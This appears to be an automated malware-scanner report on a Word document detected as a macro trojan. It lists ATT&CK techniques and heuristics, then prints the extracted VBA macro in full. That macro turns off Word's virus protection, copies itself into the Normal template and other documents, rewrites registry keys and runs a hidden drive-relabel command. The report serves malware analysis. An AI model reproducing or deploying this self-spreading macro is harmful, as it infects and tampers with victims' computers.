MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains a Document_Open VBA macro that executes upon opening the document. This macro uses `Shell()` and `System.PrivateProfileString` to modify registry keys, including `HKEY_CLASSES_ROOT CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}` and `HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008`. This behavior is indicative of malware attempting to establish persistence or download further malicious content.
Heuristics 5
-
ClamAV: Doc.Trojan.Brenda-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Brenda-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10796 bytes |
SHA-256: 9d8b115426ad459af280e461a3fda56b78fb7ae805333e84e4fff627cbc6b233 |
|||
|
Detection
ClamAV:
Doc.Trojan.Locale-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
bSavedState = ActiveDocument.Saved
Set prevDocument = NormalTemplate
Set nextDocument = newDocument
Options.VirusProtection = Not True
Options.SaveNormalPrompt = Not True
Options.ConfirmConversions = Not True
sLines = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Close()"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}", "") = "MY Computer"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon", "") = "C:\\WINDOWS\\SYSTEM\\shell32.dll,15"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008", "SMTP Display Name") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008", "SMTP Email Address") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni", "Name") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni", "SN") = "415F7097"
System.PrivateProfileString("win.ini", "WinZip", "Name") = ""
System.PrivateProfileString("win.ini", "WinZip", "Name") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts", "name") = ""
Shell "label c: n0nuts", vbHide
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Open()" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Open()"
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
ActiveDocument.Saved = bSavedState
With nextDocument.VBProject.VBComponents
For i = 1 To .Count
If .Item(i).Type = 100 Then
With .Item(i).CodeModule
If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
With prevDocument.VBProject.VBComponents.Item(1).CodeModule
codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
End With
End If
.AddFromString codeString
.ReplaceLine 1, "Private Sub " + nextRoutine + "()"
If prevDocument Is NormalTemplate Then
.ReplaceLine 5, " Set prevDocument = ActiveDocument"
.ReplaceLine 6, " Set nextDocument = NormalTemplate"
Else
.ReplaceLine 5, " Set prevDocument = NormalTemplate"
.ReplaceLine 6, " Set nextDocument = newDocument"
End If
End With
End If
Next
End With
End Sub
' Processing file: /opt/analyzer/scan_staging/8522085aa2cd462ab0a755ed4b4eabea.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5097 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Line #3:
' Ld ActiveDocument
' MemLd Saved
' St bSavedState
' Line #4:
' SetStmt
' Ld Norma
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.